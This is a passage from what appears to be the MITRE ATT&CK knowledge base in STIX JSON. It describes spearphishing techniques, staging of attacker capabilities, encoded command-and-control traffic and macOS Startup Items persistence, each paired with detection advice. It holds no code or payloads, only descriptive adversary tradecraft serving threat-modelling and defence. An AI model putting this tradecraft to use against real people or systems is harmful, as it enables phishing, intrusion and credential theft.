            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1598.002",
                    "url": "https://attack.mitre.org/techniques/T1598/002"
                },
                {
                    "source_name": "Sophos Attachment",
                    "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/",
                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020."
                },
                {
                    "source_name": "GitHub Phishery",
                    "url": "https://github.com/ryhanson/phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Attachment",
            "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
            "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:41:33.335Z",
            "created": "2020-10-02T17:08:57.386Z",
            "x_mitre_contributors": [
                "Philip Winther",
                "Sebastian Salla, McAfee",
                "Robert Simmons, @MalwareUtkonos"
            ],
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba",
            "name": "Spearphishing Link",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1192",
                    "url": "https://attack.mitre.org/techniques/T1192"
                },
                {
                    "external_id": "CAPEC-163",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-02T19:21:35.153Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
            "name": "Spearphishing Link",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1566.002",
                    "url": "https://attack.mitre.org/techniques/T1566/002"
                },
                {
                    "external_id": "CAPEC-163",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-14T14:38:42.715Z",
            "created": "2020-03-02T19:15:44.182Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Office 365",
                "SaaS",
                "Google Workspace"
            ],
            "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_contributors": [
                "Philip Winther",
                "Shailesh Tiwary (Indian Army)",
                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1598.003",
                    "url": "https://attack.mitre.org/techniques/T1598/003"
                },
                {
                    "source_name": "TrendMictro Phishing",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."
                },
                {
                    "source_name": "PCMag FakeLogin",
                    "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages",
                    "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
            "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:42:26.537Z",
            "created": "2020-10-02T17:09:50.723Z",
            "x_mitre_contributors": [
                "Philip Winther",
                "Sebastian Salla, McAfee",
                "Robert Simmons, @MalwareUtkonos"
            ],
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1598.001",
                    "url": "https://attack.mitre.org/techniques/T1598/001"
                },
                {
                    "source_name": "ThreatPost Social Media Phishing",
                    "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/",
                    "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Service",
            "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
            "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:43:12.843Z",
            "created": "2020-10-02T17:08:07.742Z",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_contributors": [
                "Robert Simmons, @MalwareUtkonos"
            ],
            "x_mitre_detection": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
            "name": "Spearphishing via Service",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1194",
                    "external_id": "T1194"
                },
                {
                    "external_id": "CAPEC-163",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-02T19:30:53.487Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1566.003",
                    "url": "https://attack.mitre.org/techniques/T1566/003"
                },
                {
                    "external_id": "CAPEC-163",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing via Service",
            "description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",
            "id": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2020-10-18T01:55:02.988Z",
            "created": "2020-03-02T19:24:00.951Z",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1608",
                    "url": "https://attack.mitre.org/techniques/T1608"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                },
                {
                    "source_name": "DigiCert Install SSL Cert",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Stage Capabilities",
            "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
            "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-27T19:01:22.653Z",
            "created": "2021-03-17T20:04:09.331Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1032",
                    "url": "https://attack.mitre.org/techniques/T1032"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "source_name": "SANS Decrypting SSL"
                },
                {
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "source_name": "SEI SSL Inspection Risks"
                },
                {
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "source_name": "Fidelis DarkComet"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "name": "Standard Cryptographic Protocol",
            "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
            "type": "attack-pattern",
            "modified": "2020-03-21T00:43:01.387Z",
            "created": "2017-05-31T21:30:35.334Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1132.001",
                    "url": "https://attack.mitre.org/techniques/T1132/001"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Binary-to-text Encoding"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Character_encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Character Encoding"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Standard Encoding",
            "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
            "id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-14T23:36:52.095Z",
            "created": "2020-03-14T23:36:52.095Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1165",
                    "url": "https://attack.mitre.org/techniques/T1165"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "source_name": "Startup Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
            "name": "Startup Items",
            "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-15T18:02:49.891Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f",
            "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
            "name": "Startup Items",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1037.005",
                    "url": "https://attack.mitre.org/techniques/T1037/005"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "source_name": "Startup Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-24T23:47:39.124Z",
            "created": "2020-01-15T18:00:33.603Z",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
